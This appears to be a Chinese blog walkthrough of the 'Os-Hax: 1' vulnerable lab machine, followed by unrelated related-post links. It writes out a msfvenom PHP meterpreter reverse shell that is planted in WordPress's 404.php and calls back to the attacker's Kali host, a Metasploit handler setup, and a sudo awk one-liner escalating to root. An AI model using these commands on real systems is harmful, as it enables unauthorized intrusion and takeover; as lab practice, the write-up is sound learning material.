靶机地址:172.16.1.197

Kali地址:172.16.1.108

1 信息搜集

靶机首页

相关信息查看

端口扫描:

开放22和80

目录扫描:

访问http://172.16.1.197/css/  ,点击内容没有发现。

访问http://172.16.1.197/html/,同样没有发现;

访问http://172.16.1.197/img,在目录下发现名为flaghost.png的图片

访问http://172.16.1.197/wordpress

发现许多跳转到localhost无法访问,联想图片内容,修改host

vi /etc/hosts

修改后,发现wordpress访问也正常了

Wappalyzer查看相关信息

CMS为wordpress 5.2.5

再次目录扫描,发现目录wp-includes等多个目录

查看目录没有发现敏感信息。

尝试使用wpscan跑一下,没有结果

已知CMS版本,尝试搜索漏洞。网上查看有漏洞,但没有可以直接利用的exp

卡住了。。。。

因为图片名字敏感(我是不会说百度了),继续针对图片猜想。尝试了图片隐写。发现passw@45 字符串。

猜想为密码,使用wordpress默认用户名登录,无果。

猜想为页面目录,访问http://172.16.1.197/passw@45。成功

点击查看flag2.txt,显示一串代码

i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]

>--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->

+++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---

----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.<

之前遇到过,直接brainfuck在线解码:https://www.splitbrain.org/services/ook

解码为:web:Hacker@4514

尝试登陆。登陆成功。。。

2 漏洞发现与利用

综合收搜索到的信息:

OS:ubuntu

开放端口:22/80

Web服务器:Apache 2.4.18

脚本语言:PHP

数据库:MySQL

CMS:wordpress 5.2.5

Web登陆账号密码:web:Hacker@4514

由于cms版本未找到可用exp,尝试登陆后进一步发现利用。

WordPress登录后台之后,看能不能修改主题中php文件。

主题中php文件通过菜单栏中Appearance->Theme Editor的404.php来改:

Kali的msfvenom生成webshell,填入404.php中,然后更新文件(Update File)

msfvenom生成shell(kali地址172.16.1.107):

msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.107 LPORT=1234 R > shell.php

将shell.php内容复制到404.php,并更新(去掉最开头的/*,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell)

msfconsole设置接收反弹的shell,依次执行:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 172.16.1.107

set lport 1234

运行后,访问浏览器访问404.php

http://172.16.1.197/wordpress/wp-content/themes/twentynineteen/404.php

(访问WordPress某个主题下的php页面时,其URL主要部分的格式为/wp-content/themes/主题名称全小写/页面名称。例如,我们刚才修改的主题名称为Twenty Nineteen,访问时只需要修改成twentynineteen即可)

可以看到,成功获取shell

获取shell之后要做的第一件事是使用Python获取一个tty

python -c 'import pty; pty.spawn("/bin/bash")'

3权限提升

习惯性查看www目录,发现文件基本跟web界面看到的一致,没有敏感文件

查看home目录

web下有flag3.txt,打开查看为一串MD5-HASH

40740735d446c27cd551f890030f7c75  无法解密

查看etc下的passwd,发现有web用户

有web账户,尝试切换用户,使用已知的密码登录,成功

因开放有22端口,索性ssh连接

ssh web@172.16.1.197 -p 22

查看信息

sudo -l发现web用户可以执行/usr/bin/awk命令,直接提权到root

sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'

切换root目录,显示完成

Os-Hax: 1 靶机记录的更多相关文章

  1. kioptrix靶机记录

    靶机地址:172.16.1.193 Kali地址:172.16.1.107 首页为Apache测试页,没看到有价值信息 尝试目录扫描: 点击查看: http://172.16.1.193/index. ...

  2. Python中os模块使用方法

    os模块提供了对系统环境.文件.目录等操作系统级的接口函数.本文主要描述os模块和os.path模块常用函数以及常用实例. os模块函数 os.getcwd() 获取当前工作的目录. os.listd ...

  3. Python os.walk() 遍历出当前目录下的文件夹和文件

    os.walk目录遍历 os.walk的参数如下: os.walk(top, topdown=True, onerror=None, followlinks=False) 其中: - top是要遍历的 ...

  4. Python os.walk() 简介

    Table of Contents 1. os.walk目录遍历 1.1. os.walk 1.2. 例子 1.2.1. 测试topdown 1.2.2. 运行时修改遍历目录 2. 参考资料 os.w ...

  5. Gin 框架 - 使用 logrus 进行日志记录

    目录 概述 日志格式 Logrus 使用 推荐阅读 概述 上篇文章分享了 Gin 框架的路由配置,这篇文章分享日志记录. 查了很多资料,Go 的日志记录用的最多的还是 github.com/sirup ...

  6. Python的os,shutil和sys模块

    *********OS*********** os.sep 可以取代操作系统特定的路径分隔符.windows下为 '\\' os.name 字符串指示你正在使用的平台.比如对于Windows,它是'n ...

  7. Gin框架 - 使用 Logrus 进行日志记录

    概述 上篇文章分享了 Gin 框架的路由配置,这篇文章分享日志记录. 查了很多资料,Go 的日志记录用的最多的还是 github.com/sirupsen/logrus. Logrus is a st ...

  8. 不到一百行实现一个小siri

    想要容易理解核心的特征计算的话建议先去看看我之前的听歌识曲的文章,传送门:http://www.cnblogs.com/chuxiuhong/p/6063602.html 本文主要是实现了一个简单的命 ...

  9. 听歌识曲--用python实现一个音乐检索器

    听歌识曲,顾名思义,用设备"听"歌曲,然后它要告诉你这是首什么歌.而且十之八九它还得把这首歌给你播放出来.这样的功能在QQ音乐等应用上早就出现了.我们今天来自己动手做一个自己的听歌 ...

随机推荐

  1. 【笔记3-31】Python语言基础-列表list

    列表list my_list = [1, 2, 3, 4, 5] 索引index my_list[0] 获取列表长度 len(my_list) 切片 [起始:结束:步长] my_list[1:3:2] ...

  2. matplotlib命令与格式:参数配置文件与参数配置

    转自 https://my.oschina.net/swuly302/blog/94805 自定义matplotlib Created Saturday 08 December 2012 5.1 ma ...

  3. 移动深度学习 Mobile-deep-learning(MDL)

    Free and open source mobile deep learning framework, deploying by Baidu. This research aims at simpl ...

  4. Unix 网络编程卷一源码编译踩坑记录 ubtutu 19.10

    在阅读unpv1时运行源代码的环境配置,这里简单记录一下 源代码里的README 写得挺详细的,但是在Linux 系统的下还没没办法直接编译通过的, 这里我使用的是ubuntu 19.10(在腾讯云1 ...

  5. [noip模拟]心<并查集>

    背景描述: 不是一切深渊都是灭亡 不是一切灭亡都覆盖在弱者的头上 ——<这也是一切> 舒婷 有N个透明的盒子, 每个盒子里面有两个不同颜色的球, 总共有M种颜色. Alice和Bob又在玩 ...

  6. Mitmproxy 安装

    Mitmproxy Python 安装步骤 官方文档 安装mitmproxy 在cmd中输入 pip install mitmproxy 安装完成后,在cmd中输入 mitmdump(windows不 ...

  7. Pointer Lock API(1/3):Pointer Lock 的总体认识

    前言 指针锁定(Pointer Lock),以前也叫鼠标锁定,提供了基于鼠标随时间的移动(如deltaΔ)的输入方法,不仅仅是视窗区域鼠标的绝对位置.指针锁定让你能够访问原始的鼠标移动,将鼠标事件的目 ...

  8. Light of future-冲刺Day 4

    目录 1.SCRUM部分: 每个成员进度 SCRUM 会议的照片 签入记录 代码运行截图 用户浏览界面 管理员浏览界面 2.PM 报告: 时间表 燃尽图 任务总量变化曲线 每名成员的贡献比 归属班级 ...

  9. wifi无线桥接

    考虑到不同路由器配置上或许有细微差别,我此处路由器是水星(牌子)路由器. 首先需要2台路由器,一台已经能够上网,作为主路由器:另一台啥都没有配置,将来用作副路由器,与主路由器桥接. 步骤: 获取主路由 ...

  10. js中常见的数据加密与解密的方法

    加密在我们前端的开发中也是经常遇见的.本文只把我们常用的加密方法进行总结.不去纠结加密的具体实现方式(密码学,太庞大了). 常见的加密方式 常见的加密算法基本分为这几类, 线性散列算法(签名算法)MD ...